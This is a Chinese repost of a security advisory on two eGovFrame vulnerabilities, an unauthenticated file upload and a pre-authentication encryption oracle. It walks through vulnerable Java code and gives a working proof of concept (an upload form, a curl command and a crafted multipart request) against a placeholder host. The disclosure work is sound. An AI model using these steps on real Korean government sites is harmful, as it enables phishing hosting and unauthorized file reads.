Egovframe框架曝未授权文件上传与加密漏洞,韩国政府系统面临风险

韩国电子政府标准框架Egovframe被披露存在两个严重漏洞:未授权文件上传漏洞和认证前加密Oracle漏洞。攻击者无需认证即可上传任意文件并控制返回的内容类型,还可利用加密机制构造恶意加密变量来滥用内部服务。所有现有版本均受影响。

漏洞公告信息

标题:Egovframe中的2个漏洞 公告链接:https://pierrekim.github.io/advisories/2025-egovframe.txt 博客链接:https://pierrekim.github.io/blog/2025-11-20-egovframe-2-vulnerabilities.html 发布日期:2025-11-20 联系厂商:KISA/KrCERT 发布模式:已公开 CVE编号:CVE-2025-34336, CVE-2025-34337

产品描述

eGovFrame,即电子政府标准框架,是韩国公共部门IT项目的平台特定标准化开发框架。它由大韩民国政府开发,全世界每个人都可以使用。

来自 https://www.egovframe.go.kr/eng/sub.do?menuNo=2

Egovframe是一个主要应用于韩国政府网站的Java框架。

漏洞概述

受影响版本:当前存在的所有版本。

漏洞概述如下:

  1. CVE-2025-34336 - 未授权文件上传漏洞
  2. CVE-2025-34337 - 认证前加密Oracle

其他说明

这些漏洞是在2023年3月对egovframe进行了简短的安全评估(2-3小时)后发现的,并于2023年4月通过韩国网络安全公司POC Security(作为可信第三方)向KrCERT报告。

由于之前直接向KrCERT报告漏洞时有过不良经历,我选择了一家声誉良好的韩国网络安全公司POC Security作为第三方。最初的公告于2023年4月在Zer0con会议上交给了POC Security。

2023年8月,KISA确认这些漏洞可以被利用。2023年10月,KISA确认漏洞已修复。2025年9月,我确认这些漏洞并未被正确修复。

这些漏洞允许未经身份验证的远程攻击者向任何基于广泛用于韩国政府网站的"egovframework"的网站上传任意文件。

此外,该程序似乎没有被CVE标识符跟踪。而是使用了KVE标识符:

KVE代表韩国漏洞与暴露,是韩国用于编目和跟踪安全漏洞的系统。与CVE和CNNVD相反,尚不清楚KVE条目是否公开。

通过分析源代码并搜索"KISA"(管理KrCERT的机构),我发现了大约260处由KISA修复的漏洞的提及。这些漏洞似乎在源代码之外没有被公开跟踪(我只在一个宣布新版本的PDF文件中找到了三个KVE-2025-XXXX条目)。

我们可以通过搜索包含"KISA"和"YYYY-MM-DD"的注释来列出KISA检测和修复的漏洞。不幸的是,报告过的漏洞并不在其中。

例如:https://github.com/eGovFramework/egovframe-common-components/blob/main/src/main/java/egovframework/com/utl/sys/pxy/web/EgovProxySvcController.java#L176.

我们还注意到,所有版本更新日志都表明某些漏洞已被修复,但没有提供任何信息:https://github.com/eGovFramework/egovframe-common-components/releases。

由于漏洞跟踪相当困难,从风险管理的角度来看,使用此解决方案似乎是一个值得怀疑的选择。

积极的一面是,这些结果意味着有很大的改进空间。

影响

未经身份验证的远程攻击者可以向任何基于egovframework的网站上传任意文件。由于在4.1.2版本之前内容类型可以由攻击者控制,因此可以在远程网站上托管任何类型的内容,例如网络钓鱼网页或窃取Cookie的JavaScript网页。从版本4.1.2开始,可以下载以正确内容类型上传的任何图像。上传的任何非图像文件都将以application/octet-stream内容类型提供(内容类型不再由攻击者控制)。

然后,恶意文件将通过无需身份验证即可访问的特定API在目标网站上可用。

可以利用加密Oracle创建有效且自定义的加密变量。这些恶意的加密字符串随后将被完全信任,并可用于滥用内部服务。

建议

不要将基于Egovframe的网站暴露在互联网上。

未修复的漏洞

Vulncheck在2025年11月分配了以下CVE:

  • CVE-2025-34336 - eGovFramework <= 4.3.1 通过Web编辑器图像上传端点实现未授权文件上传
  • CVE-2025-34337 - eGovFramework <= 4.3.1 通过Web编辑器图像上传端点实现未授权加密Oracle

KISA/KrCERT分配了以下KVE:

  • KVE-2023-5280 Egovframework中的未授权文件上传
  • KVE-2023-5281 加密Oracle用于构造自定义有效加密变量

解决方案识别

对于本公告,截止本安全公告发布之日的最新版本通过官方git仓库获取:https://github.com/eGovFramework/egovframe-common-components。

最新提交为:

commit 7030600a8d959fbdb09787cd346be9ccf2c2dc1c (HEAD -> main, origin/main, origin/HEAD)
Merge: e10475cc b354bbb7
Author: eGovFrameSupport <egovframesupport () gmail com>
Date:   Wed Sep 24 14:49:27 2025 +0900

自2023年3月以来,源代码发生了一些变化,包括在我报告后尝试错误地修复其中一个漏洞——尚不清楚这是否是漏洞碰撞(源代码中另有他人被归功于此漏洞)。

详情 - 未授权文件上传漏洞

攻击者可以在使用egov框架开发的网站上无需身份验证上传任意文件。

易受攻击的组件 egovframe-common-components 被egovframe框架使用。

/utl/wed/insertImage.do/utl/wed/insertImageCk.do POST API定义在 egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 文件中,如下所示,没有实现身份验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 60         private final String extWhiteList = EgovProperties.getProperty("Globals.fileDownload.Extensions");
[...]
 76         /**
 77          * 图片 Upload页 显示.
 78          *
 79          * @param model
 80          * @return
 81          * @throws Exception
 82          */
 83         @RequestMapping(value="/utl/wed/insertImage.do", method=RequestMethod.GET)
 84         public String goInsertImage(Model model) throws Exception {
 85
 86                 return "egovframework/com/utl/wed/EgovInsertImage";
 87         }
 88
 89
 90         /**
 91          * 图片 Upload 执行.
 92          *
 93          * @param request
 94          * @param model
 95          * @return
 96          * @throws Exception
 97          */
 98         @RequestMapping(value="/utl/wed/insertImage.do", method=RequestMethod.POST)
 99         public String imageUpload(MultipartHttpServletRequest request, Model model) throws Exception {
100
101                 uploadImageFiles(request, model);
102                 return "egovframework/com/utl/wed/EgovInsertImage";
103         }
104
105         /**
106          * 图片 Upload(CK编辑器) 执行.
107          *
108          * @param ckEditorFuncNum
109          * @param mRequest
110          * @param response
111          * @param model
112          * @return
113          * @throws Exception
114          */
115         @RequestMapping(value="/utl/wed/insertImageCk.do", method=RequestMethod.POST)
116         public String imageUploadCk(@RequestParam(value="CKEditorFuncNum", required=false) String ckEditorFuncNum, MultipartHttpServletRequest mRequest, HttpServletResponse response, Model model) throws Exception {
117                 // Spring multipartResolver ?commons-fileupload?
118                 //List<EgovFormBasedFileVo> list = EgovFormBasedFileUtil.uploadFiles(request, uploadDir, maxFileSize);
119                 model.addAttribute("ckEditorFuncNum", ckEditorFuncNum);
120                 uploadImageFiles(mRequest, model);
121                 return "egovframework/com/utl/wed/EgovUploadImageComplete";
122         }

这些API最终会调用第129行定义的 uploadImageFiles() 方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
124         /**
125          * @param mRequest
126          * @param model
127          * @throws Exception
128          */
129         private void uploadImageFiles(MultipartHttpServletRequest mRequest, Model model) throws Exception {
130
131                 try {
132                         List<EgovFormBasedFileVo> list = EgovFileUploadUtil.uploadFilesExt(mRequest, uploadDir, maxFileSize, extWhiteList);
133                         if (list.size() > 0) {
134                                 EgovFormBasedFileVo vo = list.get(0);   // 第一 项目
135
136                                 String url = mRequest.getContextPath()
137                                                 + "/utl/web/imageSrc.do?"
138                                                 + "path=" + this.encrypt(vo.getServerSubPath())
139                                                 + "&physical=" + this.encrypt(vo.getPhysicalName())
140                                                 + "&contentType=" + this.encrypt(vo.getContentType());
141
142                                 model.addAttribute("url", url);
143                                 model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));
144                         }
145                 } catch (SecurityException e) {
146                         model.addAttribute("url", "");
147                         model.addAttribute("msg",egovMessageSource.getMessage("errors.file.extension"));
148                 } catch (Exception e) {
149                         LOGGER.error(e.getMessage());
150                         model.addAttribute("url", "");
151                         model.addAttribute("msg",egovMessageSource.getMessage("errors.file.transfer"));
152                 }
153         }

uploadFilesExt() 方法在 egovframe-common-components/src/main/java/egovframework/com/utl/fcc/service/EgovFileUploadUtil.java 中实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
113         public static List<EgovFormBasedFileVo> uploadFilesExt(MultipartHttpServletRequest mptRequest, String where, long maxFileSize, String extensionWhiteList) throws Exception {
114                 List<EgovFormBasedFileVo> list = new ArrayList<EgovFormBasedFileVo>();
[...]
115
116                 if (mptRequest != null) {
117                         Iterator<?> fileIter = mptRequest.getFileNames();
118
119                         while (fileIter.hasNext()) {
120                                 MultipartFile mFile = mptRequest.getFile((String)fileIter.next());
[...]
127                                 EgovFormBasedFileVo vo = new EgovFormBasedFileVo();
128
129                                 String tmp = mFile.getOriginalFilename();
[...] // 验证扩展名:
138                                         if (tmp.lastIndexOf(".") > 0) {
139                                                 ext = getFileExtension(tmp).toLowerCase();
140                                         } else {
141                                                 throw new SecurityException("Unacceptable file extension."); // ??
142                                         }
143                                         if (extensionWhiteList.indexOf(ext) < 0) {
144                                                 throw new SecurityException("Unacceptable file extension."); // ??
145                                         }
[...] // 文件存储在文件系统中:
147                                         vo.setFileName(tmp);
148                                         vo.setContentType(mFile.getContentType());
149                                         vo.setServerSubPath(getTodayString());
150                                         vo.setPhysicalName(getPhysicalFileName() + "." + ext);
151                                         vo.setSize(mFile.getSize());
152
153                                         if (tmp.lastIndexOf(".") >= 0) {
154                                                 vo.setPhysicalName(vo.getPhysicalName()); // 2012.11 KISA 补丁??
155                                         }
156
157                                         if (mFile.getSize() > 0) {
158                                                 InputStream is = null;
159
160                                                 try {
161                                                         is = mFile.getInputStream();
162                                                         String fullPath = where + SEPERATOR + vo.getServerSubPath() + SEPERATOR + vo.getPhysicalName() + "_upfile";
163                                                         saveFile(is, new File(EgovWebUtil.filePathBlackList( fullPath )));
164                                                 } finally {
165                                                         if (is != null) {
166                                                                 is.close();
167                                                         }
168                                                 }
169                                                 list.add(vo);
170                                         }
171                                 }
172                         }
173                 }
174
175                 return list;
176         }

第163行的 saveFile() 方法将简单地使用 FileCopyUtils.copy() 将文件保存到磁盘。

最终,uploadImageFiles() 方法会将任何上传的文件存储在文件系统中,文件名部分可控(由UUID和特定扩展名组成),但实际上,攻击者可以控制以下值:

  • 内容;
  • “公开"的文件名,与文件系统中使用的文件名不同;
  • 检索文件时显示给远程客户端的Content-Type。

我们不在乎文件系统中的真实文件名,因为我们将使用 /utl/web/imageSrc.do 来检索上传的内容。

此外,配置文件中只允许特定的扩展名。这些限制定义在https://github.com/eGovFramework/egovframe-common-components/blob/main/src/main/resources/egovframework/egovProps/globals.properties#L168。

无论如何,由于攻击者能够控制最终的Content-type,任何文件都可以被上传/下载(例如,扩展名为.jpg的文件包含HTML代码,当从互联网检索时将作为HTML文件返回)。

egovframe-common-components/src/main/resources/egovframework/egovProps/globals.properties 的内容:

171 Globals.fileDownload.Extensions = .gif.jpg.jpeg.png

上传完成后,会显示一个URL,允许检索上传的文件。此URL格式为 /utl/web/imageSrc.do?path=X&physical=X&contentType=X(第136至142行):

egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 的内容说明了此URL的生成方式:

1
2
3
4
5
6
7
8
136                                 String url = mRequest.getContextPath()
137                                                 + "/utl/web/imageSrc.do?"
138                                                 + "path=" + this.encrypt(vo.getServerSubPath())
139                                                 + "&physical=" + this.encrypt(vo.getPhysicalName())
140                                                 + "&contentType=" + this.encrypt(vo.getContentType());
141
142                                 model.addAttribute("url", url);
143                                 model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));

由于变量已被加密,可能遵循了KISA在2017年和2018年进行的安全评估,该文件无法直接访问。

通过加密变量,只要攻击者不知道密钥(并且密钥已正确设置),就不可能利用后续的任意文件读取(第165至168行)在 /utl/web/imageSrc.do API中:

egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
162         @RequestMapping(value="/utl/web/imageSrc.do",method=RequestMethod.GET)
163         public void download(HttpServletRequest request, HttpServletResponse response) throws Exception {
164                 //2017.12.12 - 加密 变量 存储 提供 方案
165                 //KISA 补丁?? (2018-10-29, ???)
166                 String subPath = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("path")));
167                 String physical = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("physical")));
168                 String mimeType = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("contentType")));
169
170                 if (subPath.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
171                 if (physical.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
172
173                 String ext = "";
174                 if ( physical.lastIndexOf(".") > 0 )
175                         ext = physical.substring(physical.lastIndexOf(".") + 1,physical.length()).toLowerCase();
176                 if ( ext == null ) throw new FileNotFoundException();
177
178                 if ( extWhiteList.indexOf(ext) >= 0 )
179                         EgovFormBasedFileUtil.viewFile(response, uploadDir, subPath, physical, mimeType);
180                 else
181                         throw new FileNotFoundException();
182         }

/utl/web/imageSrc.do API允许使用上传过程结束时返回的以下3个加密值检索上传的文件:

  • path;
  • physical;
  • contentType.

通过访问包含这3个加密值的显示URL,我们可以检索上传的文档。

关于反射的 Content-Type,值得注意的是,2023年6月在 viewFile() 方法中添加了保护措施。

尚不清楚这是否是修复上传漏洞的尝试(通常治标不治本——你仍然可以上传任何你想要的东西)。实施了一个白名单,只允许特定的MIME类型。因此,除了 image/gifimage/jpgimage/jpegimage/png 之外的任何内容都将显示为 application/octet-stream

更新日志是:

* 2023.06.27 Kim Hye-jun NSR 安全措施 (CKEditor 图像查看功能中的脚本执行漏洞)

我的初步分析实际上是在2023年3月进行的,早于此次提交,我认为这是修复漏洞的错误尝试(因为初步分析已交给POC Security,并于2023年4月与KISA共享)。 当时,没有实现以下mimeType验证: https://github.com/eGovFramework/egovframe-common-components/blame/e7b8d0df75664ce71781720801fa1ae2d7302a58/src/main/java/egovframework/com/utl/fcc/service/EgovFormBasedFileUtil.java#L277

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
218         public static void viewFile(HttpServletResponse response, String where, String serverSubPath, String physicalName, String mimeTypeParam) throws Exception {
219                 String mimeType = mimeTypeParam;
220                 String downFileName = where + SEPERATOR + serverSubPath + SEPERATOR + physicalName + "_upfile";
[...]
239                 boolean contentTypeFlag = false;
240                 if (mimeType != null) {
241                         Map<String, String> contentTypeWL = getContentTypeWL();
242                         if (contentTypeWL != null) {
243                                 for (String ext : contentTypeWL.keySet()) {
244                                         String matchMimeType = contentTypeWL.get(ext);
245                                         if (matchMimeType.equals(mimeType)) {

// 如果在哈希表中找到提供的mimeType(第262行),则将contentTypeFlag设置为true

246                                                 response.setContentType(matchMimeType);
247                                                 contentTypeFlag = true;
248                                                 break;
249                                         }
250                                 }
251                         }
252                 }

// 如果contentTypeFlag仍为false,则使用application/octet-stream

253                 if (!contentTypeFlag) {
254                         response.setContentType("application/octet-stream;");
255                 }
256
257                 response.setHeader("Content-Disposition", "filename=image;");
258
259                 FileCopyUtils.copy(new FileInputStream(file), response.getOutputStream());
260         }
261
262         public static Map<String, String> getContentTypeWL() {
263                 Map<String, String> contentTypeWL = new HashMap<>();
264
265                 contentTypeWL.put("gif", "image/gif");
266                 contentTypeWL.put("jpg", "image/jpg");
267                 contentTypeWL.put("jpeg", "image/jpeg");
268                 contentTypeWL.put("png", "image/png");
269
270                 return contentTypeWL;
271         }
272 }

然而,此修改并未修复根本原因(文件上传),仍然可以上传任何文件并下载它们(最终Content-Type为 application/octet-stream)。

PoC

附上漏洞利用代码。只需将192.168.0.1更改为目标URL,访问此网页并上传任意文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<html>
<head>
</head>
<body>
<form action="http://192.168.0.1/utl/wed/insertImageCk.do"; method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

API将返回文件的可访问路径,可直接在浏览器中使用 /utl/web/imageSrc.do 访问。

也可以使用Curl,但需要代理(例如Burp Suite)来实时编辑 Content-Type(如果上传.txt文件,Content-Type将设置为text/plain;上传.jpg文件则为image/jpeg;上传.html文件则为text/html)。

kali% curl -kv -F "file=@1.txt; filename=1.txt" http://192.168.0.1/utl/wed/insertImageCk.do

Burp请求示例

POST /utl/wed/insertImageCk.do HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------26979662282534656852357513795
Content-Length: 345
Connection: close
Upgrade-Insecure-Requests: 1


-----------------------------26979662282534656852357513795
Content-Disposition: form-data; name="file"; filename="1.png" <- 必须包含允许的扩展名的文件名
Content-Type: text/html <--------------------------------------- 将使用的内容类型

11111111111 <--------------------------------------------------- 文件内容,实际上与之前的扩展名无关
-----------------------------26979662282534656852357513795
Content-Disposition: form-data; name="submit"



Submit
-----------------------------26979662282534656852357513795--

攻击者可以上传任何文档,并控制使用API /utl/web/imageSrc.do 检索文件时将使用的内容类型。

详情 - 认证前加密Oracle

先前的上传表单可以用作加密Oracle。该表单将乐于返回攻击者定义的明文的加密值。

这些加密变量随后将被应用程序完全信任。

在第139和140行,可以通过使用 /utl/wed/insertImage.do/utl/wed/insertImageCk.do API(调用 uploadImageFiles() 方法)在上传表单中发送自定义的Content-type或自定义文件名,利用此加密Oracle接收任何由攻击者控制的文件名和内容类型的加密字符串:

egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 的内容:

1
2
3
4
5
6
7
137                                                 + "/utl/web/imageSrc.do?"
138                                                 + "path=" + this.encrypt(vo.getServerSubPath())
139                                                 + "&physical=" + this.encrypt(vo.getPhysicalName())
140                                                 + "&contentType=" + this.encrypt(vo.getContentType());
141
142                                 model.addAttribute("url", url);
143                                 model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));

攻击者可以发送恶意的Content-type或文件名变量:这些字符串将使用服务器端定义的密钥通过 encrypt() 方法进行加密。

提交上传表单后,网页上显示的URL将包含编码后的 contentTypeFilename

然后,攻击者可以使用加密的恶意字符串来滥用内部服务。

例如,/utl/web/imageSrc.do API依赖加密数据来读取文件系统中的文件:攻击者可以使用加密的恶意字符串(例如 subPathphysicalmimeType 变量)与 /utl/web/imageSrc.do API,这些变量将被解密,对应于攻击者控制的特定字符串(第166至188行):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
162         @RequestMapping(value="/utl/web/imageSrc.do",method=RequestMethod.GET)
163         public void download(HttpServletRequest request, HttpServletResponse response) throws Exception {
164                 //2017.12.12 - ??
165                 //KISA ?? (2018-10-29, ???
166                 String subPath = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("path"))); <---------------------- 由攻击者控制
167                 String physical = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("physical"))); <----------------- 由攻击者控制
168                 String mimeType = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("contentType"))); <-------------- 由攻击者控制
169
170                 if (subPath.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
171                 if (physical.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
172
173                 String ext = "";
174                 if ( physical.lastIndexOf(".") > 0 )
175                         ext = physical.substring(physical.lastIndexOf(".") + 1,physical.length()).toLowerCase();
176                 if ( ext == null ) throw new FileNotFoundException();
177
178                 if ( extWhiteList.indexOf(ext) >= 0 )
179                         EgovFormBasedFileUtil.viewFile(response, uploadDir, subPath, physical, mimeType);
180                 else
181                         throw new FileNotFoundException();
182         }

另一个例子是定义在 egovframe-common-components/src/main/java/egovframework/com/cmm/web/EgovImageProcessController.java 中的 /cmm/fms/getImage.do API,它将根据攻击者提供的加密变量返回任何存储的文件。

GET 请求中获得的 atchFileId 参数在第83行被解密,然后:

  • decodedSessionId| 字符前获取;
  • decodedFileId| 字符后获取。

第94行进行了验证,检查解密的 decodedSessionId 是否与HTTP头中找到的当前 SessionId 相同。实际上,此 SessionId 在HTTP请求中可用(JSESSIONID=value),因此可以通过在上传表单上加密此值并恢复它来绕过此验证。

攻击者也可以在HTTP请求中省略 JSESSIONID cookie,并为 decodedSessionId 的解码值传递一个空字符串。

然后攻击者可以在无需身份验证的情况下根据 decodedFileId 值(例如FILE_000000000000001)恢复任何文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
 75         @RequestMapping("/cmm/fms/getImage.do")
 76         public void getImageInf(SessionVO sessionVO, ModelMap model, @RequestParam Map<String, Object> commandMap,
 77                         HttpServletRequest request, HttpServletResponse response) throws Exception {
 78
 79                 // 解密 FileId (2022.12.06 )
 80                 // 加密方式
 81                 String param_atchFileId = (String) commandMap.get("atchFileId");
 82                 param_atchFileId = param_atchFileId.replaceAll(" ", "+");
 83                 byte[] decodedBytes = Base64.getDecoder().decode(param_atchFileId);
 84                 String decodedString = cryptoService.decrypt(new String(decodedBytes));
 85                 String decodedSessionId = StringUtils.substringBefore(decodedString, "|");
 86                 String decodedFileId = StringUtils.substringAfter(decodedString, "|");
 87
 88                 String fileSn = (String) commandMap.get("fileSn");
 89
 90                 String sessionId = request.getSession().getId();
 91
 92                 boolean isSameSessionId = StringUtils.equals(decodedSessionId, sessionId);
 93
 94                 if (!isSameSessionId) {
 95                         throw new Exception();
 96                 }
 97
 98                 FileVO vo = new FileVO();
 99
100                 vo.setAtchFileId(decodedFileId);
101                 vo.setFileSn(fileSn);
102
103                 // ------------------------------------------------------------
104                 // fileSn为空时
105                 // ------------------------------------------------------------
106                 if (fileSn == null || fileSn.equals("")) {
107                         int newMaxFileSN = fileService.getMaxFileSN(vo);
108                         vo.setFileSn(Integer.toString(newMaxFileSN - 1));
109                 }
110                 // ------------------------------------------------------------
111
112                 FileVO fvo = fileService.selectFileInf(vo);
113
114                 // String fileLoaction = fvo.getFileStreCours() + fvo.getStreFileNm();
115
116                 String fileStreCours = EgovWebUtil.filePathBlackList(fvo.getFileStreCours());
117                 String streFileNm = EgovWebUtil.filePathBlackList(fvo.getStreFileNm());
118                 File file = new File(fileStreCours, streFileNm);
119
120                 ByteArrayOutputStream bStream = null;
121
122                 try (FileInputStream fis = new FileInputStream(file); BufferedInputStream in = new BufferedInputStream(fis);) {
123                         bStream = new ByteArrayOutputStream();
124
125                         FileCopyUtils.copy(in, bStream);
126
127                         String type = "";
128
129                         if (fvo.getFileExtsn() != null && !"".equals(fvo.getFileExtsn())) {
130                                 if ("jpg".equals(fvo.getFileExtsn().toLowerCase())) {
131                                         type = "image/jpeg";
132                                 } else {
133                                         type = "image/" + fvo.getFileExtsn().toLowerCase();
134                                 }
135                                 /* type = "image/" + fvo.getFileExtsn().toLowerCase(); */
136
137                         } else {
138                                 LOGGER.debug("Image fileType is null.");
139                         }
140
141                         response.setHeader("Content-Type", EgovWebUtil.removeCRLF(type));
142                         response.setContentLength(bStream.size());
143
144                         bStream.writeTo(response.getOutputStream());
145
146                         response.getOutputStream().flush();
147                         response.getOutputStream().close();
148
149                 } finally {
150                         EgovResourceCloseHelper.close(bStream);
151                 }
152         }

报告时间线

  • 2023年3月:对egovframe进行了安全评估。
  • 2023年4月:在Zer0con会议上将公告交给了POC Security。
  • 2023年8月:KISA确认了漏洞的可利用性。
  • 2023年10月:KrCERT向POC Security确认漏洞已修复。
  • 2025年9月:我联系了POC Security,报告我认为漏洞未被正确修复,并请他们检查与KrCERT之前的邮件。
  • 2025年9月:POC Security确认,在之前的交流中,KrCERT已表示所有漏洞均已修复。
  • 2025年11月19日:Vulncheck分配了CVE。
  • 2025年11月20日:发布安全公告。

致谢

这些漏洞由Pierre Barre(又名Pierre Kim)发现 (@PierreKimSec)。

参考链接

https://pierrekim.github.io/blog/2025-11-20-egovframe-2-vulnerabilities.html https://pierrekim.github.io/advisories/2025-egovframe.txt

免责声明

本公告根据知识共享署名-非商业性使用-相同方式共享 3.0 许可协议授权:http://creativecommons.org/licenses/by-nc-sa/3.0/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计